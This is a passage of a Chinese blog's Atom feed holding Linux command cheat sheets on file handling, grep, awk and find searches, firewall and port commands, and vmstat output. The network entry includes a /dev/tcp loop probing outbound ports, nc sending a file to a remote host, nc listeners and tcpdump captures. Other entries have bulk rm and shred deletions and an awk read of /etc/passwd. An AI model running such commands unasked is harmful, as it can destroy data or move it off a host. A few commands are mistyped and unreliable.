wkB/s：分别表示每秒读写次数和每秒读写数据量（千字节）。读写量过大，可能会引起性能问题。</li><li>await：IO操作的平均等待时间，单位是毫秒。这是应用程序在和磁盘交互时，需要消耗的时间，包括IO等待和实际操作的耗时。如果这个数值过大，可能是硬件设备遇到了瓶颈或者出现故障。</li><li>avgqu-sz：向设备发出的请求平均数量。如果这个数值大于1，可能是硬件设备已经饱和（部分前端硬件设备支持并行写入）。</li><li>%util：设备利用率。这个数值表示设备的繁忙程度，经验值是如果超过60，可能会影响IO性能（可以参照IO操作平均等待时间）。如果到达100%，说明硬件设备已经饱和。</li><li>如果显示的是逻辑设备的数据，那么设备利用率不代表后端实际的硬件设备已经饱和。值得注意的是，即使IO性能不理想，也不一定意味这应用程序性能会不好，可以利用诸如预读取、写缓存等策略提升应用性能。</li></ul>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 常用操作</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 文件操作</title>
    <link href="https://blog.allbs.cn/posts/50441/"/>
    <id>https://blog.allbs.cn/posts/50441/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="删除指定位置的文件（以下为删除-tmp目录下以rdc-deploy开头的后缀为log的文件）">删除指定位置的文件（以下为删除/tmp目录下以rdc_deploy开头的后缀为log的文件）</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /tmp -name rdc_deploy*.log | xargs rm</span><br></pre></td></tr></table></figure><h4 id="彻底删除文件并释放空间">彻底删除文件并释放空间</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /tmp -name rdc_deploy* | xargs shred</span><br></pre></td></tr></table></figure><h4 id="查看当前文件夹下文件占用空间">查看当前文件夹下文件占用空间</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">du -sh *</span><br></pre></td></tr></table></figure><h4 id="查看所有磁盘占用空间">查看所有磁盘占用空间</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">df -h</span><br></pre></td></tr></table></figure><h4 id="查看所有删除未释放空间的文件并释放">查看所有删除未释放空间的文件并释放</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看已删除并且未删除空间文件的进程</span></span><br><span class="line">lsof | grep deleted</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">释放空间</span></span><br><span class="line">kill -9 进程</span><br></pre></td></tr></table></figure><h4 id="查看文件里有多少行">查看文件里有多少行</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">wc</span> -l filename</span><br></pre></td></tr></table></figure><h4 id="看文件里有多少个word">看文件里有多少个word</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">wc</span> -w filename</span><br></pre></td></tr></table></figure><h4 id="文件里最长的那一行是多少个字">文件里最长的那一行是多少个字</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">wc</span> -L filename</span><br></pre></td></tr></table></figure><h4 id="统计字节数">统计字节数</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">wc</span> -c</span><br></pre></td></tr></table></figure><h4 id="压缩命令">压缩命令</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">tar czvf xxx.tar</span><br><span class="line"></span><br><span class="line">zip -r xxx.zip</span><br></pre></td></tr></table></figure><h4 id="解压缩命令">解压缩命令</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">tar zxvf xxx.tar</span><br><span class="line"></span><br><span class="line">unzip xxx.zip</span><br></pre></td></tr></table></figure><h4 id="解压到指定文件夹">解压到指定文件夹</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tar zxvf xxx.tar -C /xxx/yyy/</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 文件操作</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 检索操作</title>
    <link href="https://blog.allbs.cn/posts/25174/"/>
    <id>https://blog.allbs.cn/posts/25174/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="反向匹配-查找不包含xxx的内容">反向匹配, 查找不包含xxx的内容</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -v xxx</span><br></pre></td></tr></table></figure><h4 id="排除所有空行">排除所有空行</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -v <span class="string">&#x27;^/pre&gt;</span></span><br></pre></td></tr></table></figure><h4 id="查询空行">查询空行</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 返回结果 2,则说明第二行是空行</span></span><br><span class="line">grep -n “^$” 111.txt  </span><br></pre></td></tr></table></figure><h4 id="查询以abc开头的行">查询以abc开头的行</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -n “^abc” 111.txt </span><br></pre></td></tr></table></figure><h4 id="同时列出该词语出现在文章的第几行">同时列出该词语出现在文章的第几行</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep <span class="string">&#x27;xxx&#x27;</span> -n xxx.log</span><br></pre></td></tr></table></figure><h4 id="计算一下该字串出现的次数">计算一下该字串出现的次数</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep <span class="string">&#x27;xxx&#x27;</span> -c xxx.log</span><br></pre></td></tr></table></figure><h4 id="比对的时候，不计较大小写的不同">比对的时候，不计较大小写的不同</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep <span class="string">&#x27;xxx&#x27;</span> -i xxx.log</span><br></pre></td></tr></table></figure><h4 id="以’-’-为分隔符-如果第五域有user则输出该行">以’:’ 为分隔符,如果第五域有user则输出该行</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">awk -F <span class="string">&#x27;:&#x27;</span> <span class="string">&#x27;&#123;if ($5 ~ /user/) print $0&#125;&#x27;</span> /etc/passwd </span><br></pre></td></tr></table></figure><h4 id="统计单个文件中某个字符（串）-中文无效-出现的次数">统计单个文件中某个字符（串）(中文无效)出现的次数</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">awk -v RS=<span class="string">&#x27;character&#x27;</span> <span class="string">&#x27;END &#123;print --NR&#125;&#x27;</span> xxx.txt</span><br></pre></td></tr></table></figure><h4 id="在目录下找后缀是-mysql的文件">在目录下找后缀是.mysql的文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /home/eagleye -name <span class="string">&#x27;*.mysql&#x27;</span> -<span class="built_in">print</span></span><br></pre></td></tr></table></figure><h4 id="从-usr-目录开始往下找，找最近3天之内存取过的文件">从 /usr 目录开始往下找，找最近3天之内存取过的文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /usr -atime 3 –<span class="built_in">print</span></span><br></pre></td></tr></table></figure><h4 id="从-usr-目录开始往下找，找最近5天之内修改过的文件">从 /usr 目录开始往下找，找最近5天之内修改过的文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /usr -ctime 5 –<span class="built_in">print</span></span><br></pre></td></tr></table></figure><h4 id="从-doc-目录开始往下找，找jacky-的、文件名开头是-j的文件">从 /doc 目录开始往下找，找jacky 的、文件名开头是 j的文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /doc -user jacky -name <span class="string">&#x27;j*&#x27;</span> –<span class="built_in">print</span></span><br></pre></td></tr></table></figure><h4 id="从-doc-目录开始往下找，找寻文件名是-ja-开头或者-ma开头的文件">从 /doc 目录开始往下找，找寻文件名是 ja 开头或者 ma开头的文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find /doc \( -name <span class="string">&#x27;ja*&#x27;</span> -o- -name <span class="string">&#x27;ma*&#x27;</span> \) –<span class="built_in">print</span></span><br></pre></td></tr></table></figure><h4 id="从-doc-目录开始往下找，找到凡是文件名结尾为-bak的文件，把它删除掉。">从 /doc 目录开始往下找，找到凡是文件名结尾为 bak的文件，把它删除掉。</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -exec 选项是执行的意思，rm 是删除命令，&#123; &#125; 表示文件名，“\;”是规定的命令结尾</span></span><br><span class="line">find /doc -name <span class="string">&#x27;*bak&#x27;</span> -<span class="built_in">exec</span> <span class="built_in">rm</span> &#123;&#125; \;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 检索操作</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 网络及端口操作</title>
    <link href="https://blog.allbs.cn/posts/25337/"/>
    <id>https://blog.allbs.cn/posts/25337/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="查看防火墙是否运行">查看防火墙是否运行</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">firewall-cmd --state</span><br></pre></td></tr></table></figure><h4 id="关闭指定端口">关闭指定端口</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">firewall-cmd --zone=public --remove-port=8080/tcp --permanent</span><br></pre></td></tr></table></figure><h4 id="防火墙端口开放">防火墙端口开放</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">firewall-cmd --zone=public --add-port=端口/tcp --permanent</span><br><span class="line"></span><br><span class="line">iptables -A INPUT -p tcp -m tcp --dport 要开放的端口 -j ACCEPT</span><br><span class="line">iptables -A INPUT -p udp -m udp --dport 要开放的端口 -j ACCEPT</span><br></pre></td></tr></table></figure><h4 id="重启防火墙">重启防火墙</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">firewall-cmd --reload</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">永久保存</span></span><br><span class="line">service iptables save</span><br><span class="line">service iptables restart</span><br></pre></td></tr></table></figure><h4 id="查看防火墙开放端口列表">查看防火墙开放端口列表</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">firewall-cmd --zone=public --list-ports</span><br></pre></td></tr></table></figure><h4 id="查看规则">查看规则</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iptables --list-rules</span><br></pre></td></tr></table></figure><h4 id="端口测试">端口测试</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">telnet ip 端口</span><br></pre></td></tr></table></figure><h4 id="查看供外网访问端口">查看供外网访问端口</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">netstat -nltp</span><br><span class="line"></span><br><span class="line">netstat -tanlp</span><br></pre></td></tr></table></figure><h4 id="输出每个ip的连接数，以及总的各个状态的连接数">输出每个ip的连接数，以及总的各个状态的连接数</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -n | awk <span class="string">&#x27;/^tcp/ &#123;n=split($(NF-1),array,&quot;:&quot;);if(n&lt;=2)++S[array[(1)]];else++S[array[(4)]];++s[$NF];++N&#125; END &#123;for(a in S)&#123;printf(&quot;%-20s %s\n&quot;, a, S[a]);++I&#125;printf(&quot;%-20s %s\n&quot;,&quot;TOTAL_IP&quot;,I);for(a in s) printf(&quot;%-20s %s\n&quot;,a, s[a]);printf(&quot;%-20s %s\n&quot;,&quot;TOTAL_LINK&quot;,N);&#125;&#x27;</span></span><br></pre></td></tr></table></figure><h4 id="统计所有连接状态">统计所有连接状态,</h4><ul><li>CLOSED：无连接是活动的或正在进行</li><li>LISTEN：服务器在等待进入呼叫</li><li>SYN_RECV：一个连接请求已经到达，等待确认</li><li>SYN_SENT：应用已经开始，打开一个连接</li><li>ESTABLISHED：正常数据传输状态</li><li>FIN_WAIT1：应用说它已经完成</li><li>FIN_WAIT2：另一边已同意释放</li><li>ITMED_WAIT：等待所有分组死掉</li><li>CLOSING：两边同时尝试关闭</li><li>TIME_WAIT：主动关闭连接一端还没有等到另一端反馈期间的状态</li><li>LAST_ACK：等待所有分组死掉</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -n | awk &#x27;/^tcp/ &#123;++state[$NF]&#125; END &#123;for(key in state) print key,&quot;\t&quot;,state[key]&#125;&#x27;</span><br></pre></td></tr></table></figure><h4 id="查找较多time-wait连接">查找较多time_wait连接</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -n|grep TIME_WAIT|awk <span class="string">&#x27;&#123;print $5&#125;&#x27;</span>|<span class="built_in">sort</span>|<span class="built_in">uniq</span> -c|<span class="built_in">sort</span> -rn|<span class="built_in">head</span> -n20=</span><br></pre></td></tr></table></figure><h4 id="查看所有打开网络连接的端口">查看所有打开网络连接的端口</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ss -tanl</span><br></pre></td></tr></table></figure><h4 id="禁ping">禁ping</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-A INPUT -j REJECT --reject-with icmp-port-unreachable</span><br><span class="line">-A FORWARD -j REJECT --reject-with icmp-port-unreachable</span><br></pre></td></tr></table></figure><h4 id="如果端口开放后不生效">如果端口开放后不生效</h4><ul><li>1.如果是云服务器保证安全组中的端口开放</li><li>2.保证后开放端口在reject-with icmp-host-prohibited规则之前</li></ul><h4 id="查看所有端口对应的进程">查看所有端口对应的进程</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">lsof -i</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看指定端口进程</span></span><br><span class="line">lsof -i:端口号</span><br></pre></td></tr></table></figure><h4 id="探测出网端口">探测出网端口</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查询指定端口是否打开</span></span><br><span class="line">for i in &#123;21,22,23,25,53，80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211&#125;;do timeout 0.5 bash -c &quot;echo &gt;/dev/tcp/baidu.com/$i&quot; &amp;&amp; echo &quot;$i ************************open************************&quot; || echo &quot;$i closed&quot;;done</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看所有出网端口</span></span><br><span class="line">netstat -ntlp |grep java</span><br></pre></td></tr></table></figure><h4 id="查看什么进程使用了指定端口">查看什么进程使用了指定端口</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lsof -i:por</span><br></pre></td></tr></table></figure><h4 id="查看总连接数">查看总连接数</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -n | awk &#x27;/^tcp/ &#123;n=split($(NF-1),array,&quot;:&quot;);if(n&lt;=2)++S[array[(1)]];else++S[array[(4)]];++s[$NF];++N&#125; END &#123;for(a in S)&#123;printf(&quot;%-20s %s\n&quot;, a, S[a]);++I&#125;printf(&quot;%-20s %s\n&quot;,&quot;TOTAL_IP&quot;,I);for(a in s) printf(&quot;%-20s %s\n&quot;, a, s[a]);printf(&quot;%-20s %s\n&quot;,&quot;TOTAL_LINK&quot;,N);&#125;&#x27;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/117a67166f4cc040ed81dd4191d421fe.png" alt="image"></p><h4 id="获取本机ip地址">获取本机ip地址</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk <span class="string">&#x27;&#123;print $2&#125;&#x27;</span>|<span class="built_in">tr</span> -d <span class="string">&quot;addr:&quot;</span></span><br></pre></td></tr></table></figure><h4 id="封停一个ip">封停一个ip</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iptables -I INPUT -s ***.***.***.*** -j DROP</span><br></pre></td></tr></table></figure><h4 id="解封一个IP">解封一个IP</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iptables -D INPUT -s ***.***.***.*** -j DROP</span><br></pre></td></tr></table></figure><p>参数-I是表示Insert（添加），-D表示Delete（删除）。后面跟的是规则，INPUT表示入站，<em><strong>.</strong></em>.***.***表示要封停的IP，DROP表示放弃连接</p><h4 id="给某一个endpoint发送TCP请求-就将data的内容发送到对端">给某一个endpoint发送TCP请求,就将data的内容发送到对端</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc 192.168.0.11 8000 &lt; data.txt</span><br></pre></td></tr></table></figure><h4 id="nc可以当做服务器，监听某个端口号-把某一次请求的内容存储到received-data里">nc可以当做服务器，监听某个端口号,把某一次请求的内容存储到received_data里</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -l 8000 &gt; received_data</span><br></pre></td></tr></table></figure><h4 id="监听多次">监听多次</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lk 8000</span><br></pre></td></tr></table></figure><h4 id="dump出本机12301端口的tcp包">dump出本机12301端口的tcp包</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tcpdump -i em1 tcp port 12301 -s 1500 -w abc.pcap</span><br></pre></td></tr></table></figure><h4 id="服务禁ping和开启">服务禁ping和开启</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 禁止ping</span></span><br><span class="line"><span class="built_in">echo</span> 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启</span></span><br><span class="line"><span class="built_in">echo</span> 0 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁止别人ping本地，本机可以ping出</span></span><br><span class="line">iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP</span><br><span class="line"></span><br><span class="line">iptables -D INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP</span><br></pre></td></tr></table></figure><h4 id="跟踪网络路由路径">跟踪网络路由路径</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># traceroute默认使用udp方式, 如果是-I则改成icmp方式</span></span><br><span class="line">traceroute -I www.163.com</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从ttl第3跳跟踪</span></span><br><span class="line">traceroute -M 3 www.163.com  </span><br><span class="line"></span><br><span class="line"><span class="comment"># 加上端口跟踪</span></span><br><span class="line">traceroute -p 8080 192.168.10.11ss</span><br><span class="line"><span class="comment"># 显示本地打开的所有端口</span></span><br><span class="line">ss -l </span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示每个进程具体打开的socket</span></span><br><span class="line">ss -pl </span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示所有tcp socket</span></span><br><span class="line">ss -t -a </span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示所有的UDP Socekt</span></span><br><span class="line">ss -u -a </span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示所有已建立的SMTP连接</span></span><br><span class="line">ss -o state established <span class="string">&#x27;( dport = :smtp or sport = :smtp )&#x27;</span>  </span><br><span class="line"></span><br><span class="line"><span class="comment"># 显示所有已建立的HTTP连接 </span></span><br><span class="line">ss -o state established <span class="string">&#x27;( dport = :http or sport = :http )&#x27;</span>  </span><br><span class="line"></span><br><span class="line"><span class="comment">#找出所有连接X服务器的进程</span></span><br><span class="line">ss -x src /tmp/.X11-unix/*  </span><br><span class="line"></span><br><span class="line"><span class="comment">#列出当前socket统计信息</span></span><br><span class="line">ss -s </span><br></pre></td></tr></table></figure><mark class="hl-label red">netstat</mark>是遍历<mark class="hl-label green">/proc</mark>下面每个PID目录，<mark class="hl-label red">ss</mark>直接读<mark class="hl-label green">/proc/net</mark>下面的统计信息。所以<mark class="hl-label red">ss</mark>执行的时候消耗资源以及消耗的时间都比<mark class="hl-label red">netstat</mark>少很多<h4 id="查看网络吞吐状态">查看网络吞吐状态</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sar -n DEV 1</span><br><span class="line"></span><br><span class="line">sar -n TCP,ETCP 1</span><br></pre></td></tr></table></figure><mark class="hl-label red">sar</mark>命令在这里可以查看网络设备的吞吐率。在排查性能问题时，可以通过网络设备的吞吐量，判断网络设备是否已经饱和。<p>sar命令在这里用于查看TCP连接状态，其中包括：</p><ul><li>active/s：每秒本地发起的TCP连接数，既通过connect调用创建的TCP连接；</li><li>passive/s：每秒远程发起的TCP连接数，即通过accept调用创建的TCP连接；</li><li>retrans/s：每秒TCP重传数量；<br>TCP连接数可以用来判断性能问题是否由于建立了过多的连接，进一步可以判断是主动发起的连接，还是被动接受的连接。TCP重传可能是因为网络环境恶劣，或者服务器压力过大导致丢包</li></ul><h4 id="给定时间监控CPU使用率-内存使用-虚拟内存交互-IO读写">给定时间监控CPU使用率, 内存使用, 虚拟内存交互, IO读写</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vmstat 2 1</span><br></pre></td></tr></table></figure><p>2表示每2秒采集一次状态信息, 1表示只采集一次(忽略既是一直采集)</p><h5 id="结果">结果</h5><table><thead><tr><th>r</th><th>b</th><th>swpd</th><th>free</th><th>buff</th><th>cache</th><th>si</th><th>so</th><th>bi</th><th>bo</th><th>in</th><th>cs</th><th>us</th><th>sy</th><th>id</th><th>wa</th></tr></thead><tbody><tr><td>1</td><td>0</td><td>0</td><td>3499840</td><td>315836</td><td>3819660</td><td>0</td><td>0</td><td>0</td><td>1</td><td>2</td><td>0</td><td>0</td><td>0</td><td>100</td><td>0</td></tr><tr><td>0</td><td>0</td><td>0</td><td>3499584</td><td>315836</td><td>3819660</td><td>0</td><td>0</td><td>0</td><td>0</td><td>88</td><td>158</td><td>0</td><td>0</td><td>100</td><td>0</td></tr><tr><td>0</td><td>0</td><td>0</td><td>3499708</td><td>315836</td><td>3819660</td><td>0</td><td>0</td><td>0</td><td>2</td><td>86</td><td>162</td><td>0</td><td>0</td><td>100</td><td>0</td></tr><tr><td>0</td><td>0</td><td>0</td><td>3499708</td><td>315836</td><td>3819660</td><td>0</td><td>0</td><td>0</td><td>10</td><td>81</td><td>151</td><td>0</td><td>0</td><td>100</td><td>0</td></tr><tr><td>1</td><td>0</td><td>0</td><td>3499732</td><td>315836</td><td>3819660</td><td>0</td><td>0</td><td>0</td><td>2</td><td>83</td><td>154</td><td>0</td><td>0</td><td>100</td><td>0</td></tr></tbody></table><ul><li>r 表示运行队列(就是说多少个进程真的分配到CPU)，我测试的服务器目前CPU比较空闲，没什么程序在跑，当这个值超过了CPU数目，就会出现CPU瓶颈了。这个也和top的负载有关系，一般负载超过了3就比较高，超过了5就高，超过了10就不正常了，服务器的状态很危险。top的负载类似每秒的运行队列。如果运行队列过大，表示你的CPU很繁忙，一般会造成CPU使用率很高。</li><li>b 表示阻塞的进程,这个不多说，进程阻塞，大家懂的。</li><li>swpd 虚拟内存已使用的大小，如果大于0，表示你的机器物理内存不足了，如果不是程序内存泄露的原因，那么你该升级内存了或者把耗内存的任务迁移到其他机器。</li><li>free 空闲的物理内存的大小，我的机器内存总共8G，剩余3415M。</li><li>buff Linux/Unix系统是用来存储，目录里面有什么内容，权限等的缓存，我本机大概占用300多M</li><li>cache cache直接用来记忆我们打开的文件,给文件做缓冲，我本机大概占用300多M(这里是Linux/Unix的聪明之处，把空闲的物理内存的一部分拿来做文件和目录的缓存，是为了提高 程序执行的性能，当程序使用内存时，buffer/cached会很快地被使用。)</li><li>si 每秒从磁盘读入虚拟内存的大小，如果这个值大于0，表示物理内存不够用或者内存泄露了，要查找耗内存进程解决掉。我的机器内存充裕，一切正常。</li><li>so 每秒虚拟内存写入磁盘的大小，如果这个值大于0，同上。</li><li>bi 块设备每秒接收的块数量，这里的块设备是指系统上所有的磁盘和其他块设备，默认块大小是1024byte，我本机上没什么IO操作，所以一直是0，但是我曾在处理拷贝大量数据(2-3T)的机器上看过可以达到140000/s，磁盘写入速度差不多140M每秒</li><li>bo 块设备每秒发送的块数量，例如我们读取文件，bo就要大于0。bi和bo一般都要接近0，不然就是IO过于频繁，需要调整。</li><li>in 每秒CPU的中断次数，包括时间中断</li><li>cs 